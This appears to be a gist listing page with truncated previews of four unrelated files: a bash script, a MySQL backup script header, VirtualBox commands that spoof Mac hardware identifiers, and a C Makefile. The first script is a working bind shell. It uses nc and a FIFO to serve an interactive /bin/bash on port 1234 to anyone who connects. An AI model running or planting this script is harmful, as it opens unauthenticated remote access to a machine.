This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
n=$(ps aux | grep -o [1]234) | |
if [[ $n = "" ]]; then | |
mkfifo f | |
nc -l 0.0.0.0 1234 < f | /bin/bash -i > f 2>&1 | |
fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
PATH=/usr/local/bin:/usr/local/sbin:~/bin:/usr/bin:/bin:/usr/sbin:/sbin | |
#---------------------------------------------------- | |
# a simple mysql database backup script. | |
# version 2, updated March 26, 2011./ | |
# copyright 2011 alvin alexander, http://devdaily.com | |
#---------------------------------------------------- | |
# This work is licensed under a Creative Commons | |
# Attribution-ShareAlike 3.0 Unported License; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Close your VirtualBox before you run these commands. | |
# Replace "MacOS" with the name of your virtual machine name, then copy and paste this code to Command Prompt. | |
Code for VirtualBox 5.x | |
cd "C:\Program Files\Oracle\VirtualBox\" | |
VBoxManage.exe modifyvm "MacOS" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff | |
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3" | |
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0" | |
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
NAME = libft.a | |
SRC_DIR := srcs/ | |
INC_DIR := includes/ | |
CFLAGS := -Wall -Werror -Wextra | |
FILES := ft_putchar.c \ | |
ft_putstr.c\ | |
ft_strcmp.c \ |
NewerOlder